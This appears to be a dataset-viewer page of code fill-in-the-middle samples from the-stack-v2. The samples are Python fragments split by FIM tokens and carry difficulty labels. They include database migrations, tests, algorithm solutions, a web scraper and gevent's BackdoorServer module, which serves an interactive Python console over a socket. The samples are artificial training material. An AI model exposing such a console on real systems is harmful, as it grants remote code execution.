from Input import Input
import Models.WGAN_Critic
import Models.Unet
from mir_eval.separation import validate, bss_eval_sources
def alpha_snr(target, estimate):
#... | code_fim | hard | {
"lang": "python",
"repo": "NullspaceSF/DSSGAN",
"path": "/Test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: IliaVakhitov/lexicontrainer path: /api/migrations/versions/956e45931fad_synonyms_in_words_table.py
"""Synonyms in words table
Revision ID: 956e45931fad
Revises: 48f08ded7fde
Create Date: 2020-04-25 11:02:15.571960
"""
from alembic import op
import sqlalchemy as sa
<|fim_suffix|>
def upgrade():... | code_fim | medium | {
"lang": "python",
"repo": "IliaVakhitov/lexicontrainer",
"path": "/api/migrations/versions/956e45931fad_synonyms_in_words_table.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # ### commands auto generated by Alembic - please adjust! ###
op.add_column('words', sa.Column('synonyms', sa.Text(), nullable=True))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_column('words', 'synonyms')
... | code_fim | medium | {
"lang": "python",
"repo": "IliaVakhitov/lexicontrainer",
"path": "/api/migrations/versions/956e45931fad_synonyms_in_words_table.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: twtrubiks/pycon.tw path: /src/proposals/migrations/0047_auto_20200630_2342.py
# Generated by Django 3.0.3 on 2020-06-30 15:42
from django.db import migrations, models
class Migration(migrations.Migration):
<|fim_suffix|> operations = [
migrations.AddField(
model_name='t... | code_fim | medium | {
"lang": "python",
"repo": "twtrubiks/pycon.tw",
"path": "/src/proposals/migrations/0047_auto_20200630_2342.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
dependencies = [
('proposals', '0046_auto_20200319_1924'),
]
operations = [
migrations.AddField(
model_name='talkproposal',
name='labels',
field=models.CharField(blank=True, max_length=128, verbose_name='labels'),
),
migrati... | code_fim | medium | {
"lang": "python",
"repo": "twtrubiks/pycon.tw",
"path": "/src/proposals/migrations/0047_auto_20200630_2342.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: LarsenClose/python-data-structures path: /structures/dictionary.py
# -*- coding: utf-8 -*-
'''Chained Dictionary with doubling and halving
Implement a dictionary using chaining.
You may assume every key has a hash() method, e.g.:
>>> hash(1)
1
>>> hash('hello world')
-2324238377118044897
Autho... | code_fim | hard | {
"lang": "python",
"repo": "LarsenClose/python-data-structures",
"path": "/structures/dictionary.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> values = []
for i in iter(self):
values.append(i[1])
return values
def __eq__(self, value):
keys1 = self.__keys__()
values1 = self.__values__()
keys2 = value.__keys__()
values2 = value.__values__()
return bool(keys1 == keys2 ... | code_fim | hard | {
"lang": "python",
"repo": "LarsenClose/python-data-structures",
"path": "/structures/dictionary.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: PiyoPiyo/bravo path: /bravo/tests/test_inventory.py
import unittest
import bravo.blocks
import bravo.inventory
class TestInventoryInternals(unittest.TestCase):
"""
The Inventory class might be near-useless when not subclassed, but we can
still test a handful of its properties.
"... | code_fim | hard | {
"lang": "python",
"repo": "PiyoPiyo/bravo",
"path": "/bravo/tests/test_inventory.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> pass
def test_check_crafting(self):
self.i.crafting[0] = (bravo.blocks.blocks["cobblestone"].slot, 0, 1)
self.i.crafting[1] = (bravo.blocks.blocks["cobblestone"].slot, 0, 1)
self.i.crafting[2] = (bravo.blocks.blocks["cobblestone"].slot, 0, 1)
self.i.crafting[3]... | code_fim | hard | {
"lang": "python",
"repo": "PiyoPiyo/bravo",
"path": "/bravo/tests/test_inventory.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dimagi/commcare-core path: /scripts/rmsdump.py
# Copyright (C) 2009 JavaRosa
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at
#
# http://www.apache.org/licenses/... | code_fim | hard | {
"lang": "python",
"repo": "dimagi/commcare-core",
"path": "/scripts/rmsdump.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> for rec in rms['records']:
print ' ID: %s' % coalesce(rec['id'], '[no id]')
if rec['status']:
if rec['status'] != 'ok':
print ' Status: %s' % rec['status']
if rec['len'] != None:
print ' Data: %d bytes %s' % (len(rec['data']), '(expected %d)' % ... | code_fim | hard | {
"lang": "python",
"repo": "dimagi/commcare-core",
"path": "/scripts/rmsdump.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> strs = [' ' * indent]
for (i, c) in enumerate(data):
hx = '%02x' % ord(c)
if i > 0:
if i % 30 == 0:
if (i + 15) % 1024 < 30:
strs.append('\n')
strs.append('\n' + ' ' * indent)
elif i % 10 == 0:
strs.append(' ')
else:
strs... | code_fim | hard | {
"lang": "python",
"repo": "dimagi/commcare-core",
"path": "/scripts/rmsdump.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> ''' indexed unique tables for accessions and other unique keys
'''
__tablename__ = 'keys'
# typically the field that is unique, i.e. accession
# might be prefixed with a namespace for per name unique values
name = Column(types.String, primary_key=True)
# the unique value
v... | code_fim | hard | {
"lang": "python",
"repo": "ClinGen/clincoded",
"path": "/src/contentbase/storage.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ClinGen/clincoded path: /src/contentbase/storage.py
from pyramid.httpexceptions import HTTPConflict
from sqlalchemy import (
Column,
DDL,
ForeignKey,
bindparam,
event,
func,
null,
orm,
schema,
text,
types,
)
from sqlalchemy.dialects import postgresql
fr... | code_fim | hard | {
"lang": "python",
"repo": "ClinGen/clincoded",
"path": "/src/contentbase/storage.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if value is None:
return value
else:
return uuid.UUID(value)
class JSON(types.TypeDecorator):
"""Represents an immutable structure as a json-encoded string.
"""
impl = types.Text
using_native_json = False
def load_dialect_impl(self, dialect):... | code_fim | hard | {
"lang": "python",
"repo": "ClinGen/clincoded",
"path": "/src/contentbase/storage.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>).version
except DistributionNotFound:
# package is not installed
pass
finally:
del get_distribution, DistributionNotFound<|fim_prefix|># repo: fmaussion/salem path: /salem/version.py
try:
from importlib.metadata import version, PackageNotFoundError
try:
__... | code_fim | hard | {
"lang": "python",
"repo": "fmaussion/salem",
"path": "/salem/version.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fmaussion/salem path: /salem/version.py
try:
from importlib.metadata import version, PackageNotFoundError
try:
__version__ = version(__name__.split('.', maxsplit=1)[0])
exce<|fim_suffix|>).version
except DistributionNotFound:
# package is not installed
pass... | code_fim | hard | {
"lang": "python",
"repo": "fmaussion/salem",
"path": "/salem/version.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mlflow/mlflow path: /tests/gateway/providers/test_anthropic.py
from unittest import mock
import pytest
from fastapi import HTTPException
from fastapi.encoders import jsonable_encoder
from pydantic import ValidationError
from mlflow.gateway.config import RouteConfig
from mlflow.gateway.constants... | code_fim | hard | {
"lang": "python",
"repo": "mlflow/mlflow",
"path": "/tests/gateway/providers/test_anthropic.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def embedding_config():
return {
"name": "embeddings",
"route_type": "llm/v1/embeddings",
"model": {
"provider": "anthropic",
"name": "claude-1.3-100k",
"config": {
"anthropic_api_key": "key",
},
},
}
... | code_fim | hard | {
"lang": "python",
"repo": "mlflow/mlflow",
"path": "/tests/gateway/providers/test_anthropic.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: abhishek0318/conll-sigmorphon-2018 path: /utils.py
"""Contains utility functions."""
from itertools import zip_longest
import os
import random
import torch
import Levenshtein
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
def shuffle_together(list1, list2):
"""Sh... | code_fim | hard | {
"lang": "python",
"repo": "abhishek0318/conll-sigmorphon-2018",
"path": "/utils.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def mean(List):
"""Calculate mean of a list, return 0 if empty."""
if len(List) != 0:
return sum(List)/len(List)
else:
return 0.0
def grouper(iterable, n, fillvalue=None):
"Collect data into fixed-length chunks or blocks"
# grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx"
... | code_fim | hard | {
"lang": "python",
"repo": "abhishek0318/conll-sigmorphon-2018",
"path": "/utils.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> bilibili_url = 'https://www.bilibili.com/ranking/all/0/0/3'
self_header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
}
html = get_html_text(bilibili_url, self_header)
re_get_inf(html... | code_fim | hard | {
"lang": "python",
"repo": "HiderX/-Python-",
"path": "/OldVer1/GetUrl.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: HiderX/-Python- path: /OldVer1/GetUrl.py
# Bilibili每日热榜爬虫
import re
import requests
from openpyxl import Workbook
def get_html_text(burl, self_header):
try:
response = requests.get(burl, headers=self_header, timeout=30)
response.raise_for_status()
respons... | code_fim | hard | {
"lang": "python",
"repo": "HiderX/-Python-",
"path": "/OldVer1/GetUrl.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>print(f"El número mayor es:\n{numero_mayor}")
print(f"Este número lo encontramos\n{acumulador}\nveces!")<|fim_prefix|># repo: sruiz9122/Projects_python path: /Ejericio2_Matriz.py
import numpy as np
#Leer una matriz 4x4 entera y determine cuantas veces se repite ene ella el número mayor.
matriz = np.... | code_fim | hard | {
"lang": "python",
"repo": "sruiz9122/Projects_python",
"path": "/Ejericio2_Matriz.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>for k in range(orden_matriz):
for l in range(orden_matriz):
if numero_mayor == matriz[k,l]:
acumulador += 1
print(f"El número mayor es:\n{numero_mayor}")
print(f"Este número lo encontramos\n{acumulador}\nveces!")<|fim_prefix|># repo: sruiz9122/Projects_python path: /Ejeri... | code_fim | hard | {
"lang": "python",
"repo": "sruiz9122/Projects_python",
"path": "/Ejericio2_Matriz.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sruiz9122/Projects_python path: /Ejericio2_Matriz.py
import numpy as np
#Leer una matriz 4x4 entera y determine cuantas veces se repite ene ella el número mayor.
matriz = np.array([[19,4,5,6],
[7,8,9,5],
[6,9,8,9],
[9,9,9,9]])
<|f... | code_fim | medium | {
"lang": "python",
"repo": "sruiz9122/Projects_python",
"path": "/Ejericio2_Matriz.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# Time: O(nlogn) ~ O(n^2)
# Space: O(n)
# BST solution.
class Solution3(object):
def countSmaller(self, nums):
"""
:type nums: List[int]
:rtype: List[int]
"""
res = [0] * len(nums)
bst = self.BST()
# Insert into BST and get left count.
... | code_fim | hard | {
"lang": "python",
"repo": "kamyu104/LeetCode-Solutions",
"path": "/Python/count-of-smaller-numbers-after-self.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: kamyu104/LeetCode-Solutions path: /Python/count-of-smaller-numbers-after-self.py
# Time: O(nlogn)
# Space: O(n)
class Solution(object):
def countSmaller(self, nums):
"""
:type nums: List[int]
:rtype: List[int]
"""
def countAndMergeSort(num_idxs, start... | code_fim | hard | {
"lang": "python",
"repo": "kamyu104/LeetCode-Solutions",
"path": "/Python/count-of-smaller-numbers-after-self.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def switch_out(self):
sys.stdin, sys.stderr, sys.stdout = self.saved
self.saved = None
def run(self):
try:
return Greenlet.run(self)
finally:
# XXX why is this necessary?
self.switch_out()
class BackdoorServer(StreamServer):
... | code_fim | hard | {
"lang": "python",
"repo": "Kiiwi/Syssel",
"path": "/venv/Lib/site-packages/gevent/backdoor.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Kiiwi/Syssel path: /venv/Lib/site-packages/gevent/backdoor.py
# Copyright (c) 2009-2014, gevent contributors
# Based on eventlet.backdoor Copyright (c) 2005-2006, Bob Ippolito
from __future__ import print_function
import sys
from code import InteractiveConsole
from gevent import socket
from gev... | code_fim | hard | {
"lang": "python",
"repo": "Kiiwi/Syssel",
"path": "/venv/Lib/site-packages/gevent/backdoor.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: PyAr/asoc_members path: /website/members/logic.py
import logging
from operator import itemgetter
from members.models import Quota, Payment, PaymentStrategy, Member
logger = logging.getLogger(__name__)
def increment_year_month(year, month):
"""Add one month to the received year/month."""
... | code_fim | hard | {
"lang": "python",
"repo": "PyAr/asoc_members",
"path": "/website/members/logic.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> If the member has a first payment, the quotas verified are from that first payment up
to the given year/month limit (including).
If the member never paid, the registration date is used, and that month is also included.
"""
if member.first_payment_year is None:
# never paid! us... | code_fim | hard | {
"lang": "python",
"repo": "PyAr/asoc_members",
"path": "/website/members/logic.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: anmol6536/project_ideas path: /all_ideas/docking_pipeline/index.py
from pandas import read_csv
from random_peptides import create_random_peptides as crp
from argparse import ArgumentParser
from icm_input import create_input_icm_docking as ciid
from FPSim2 import FPSim2Engine
from run_docking impo... | code_fim | hard | {
"lang": "python",
"repo": "anmol6536/project_ideas",
"path": "/all_ideas/docking_pipeline/index.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> fpe = FPSim2Engine(fp_filename, in_memory_fps=False) # initialize similarity engine
peptides_tested_df = read_csv(master_peptides_file) # check for already tested peptides
peptides_tested = [*map(three_to_one_letter_aa, peptides_tested_df.sequence)]
if sim_search:
find_similar_... | code_fim | hard | {
"lang": "python",
"repo": "anmol6536/project_ideas",
"path": "/all_ideas/docking_pipeline/index.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.